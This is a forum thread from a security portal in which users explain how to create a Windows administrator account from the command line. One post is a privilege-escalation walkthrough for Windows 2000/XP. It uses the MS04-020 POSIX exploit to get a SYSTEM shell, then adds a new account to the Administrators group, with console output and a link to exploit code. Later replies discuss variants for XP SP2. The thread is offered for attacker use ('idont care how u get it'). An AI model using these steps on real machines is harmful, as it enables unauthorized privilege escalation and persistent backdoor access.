Waraxe IT Security Portal

nirVaan · Regular user

hi guys

is there a way to create a admin account using the command prompt(like using the net user command).

thankz

y3dips · Valuable expert

first u have to be admin ( idont care how u get it)
then , just add a new user

c:\net user user1 password /add

then change the user1 to be admin

c:\net localgroup Administrators user1 /add'

then check user1 power

c:\net user user1

slimjim100 · Valuable expert

POSIX Exploit
Privilege Escalation Win 2K/XP
By Slimjim100

1.) You will need to Google to find a copy of POSIX Exploit code. Once you have this you can move to step two.

2.) Now that you have a copy of ?posix.exe? Lunch it.

3.) Now that you have cmd.exe running with system rights you can add user accounts. Exaple below:

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>net user /add sys <- Command ?net user /add sys? (sys is account name we are using)?
The command completed successfully.

C:\WINDOWS\system32>net user

User accounts for \\WARPC-U1D7MJHHP

-------------------------------------------------------------------------------
Admin100 driver Guest
Sys <- this is our new account!!
The command completed successfully.

C:\WINDOWS\system32>net localgroup Administrators /add sys <- Command ?localgroup Administrators /add sys? (With this command we have added our account (sys) to administrators gourp)
The command completed successfully.

C:\WINDOWS\system32>net user

User accounts for \\WARPC-U1D7MJHHP

-------------------------------------------------------------------------------
Admin100 driver Guest
sys
The command completed successfully.

C:\WINDOWS\system32>

**** Your now done with a new admin account**** By Slimjim100
http://www.k-otik.com/exploits/07162004.MS04-020posixexp.c.php link to the exploit code!

I have this in a word doc with pictures so e-mail me if ya want a copy. Slimjim100(at)gmail.com

shai-tan · Valuable expert

Very interesting.... Does this work on XP/SP2?

slimjim100 · Valuable expert

For it to work with XP SP2 you need a mod'ed version of POSIX. I think I had a copy of it but I'm not sure if I saved it. You will have to google around to find it. There are many exploits out there for windows systems just look around I think the latest COM exploit can work the same way.

Slimjim100

shai-tan · Valuable expert

Thanks Ill look through my Ex.... Tre. for any POSIX exploits Wink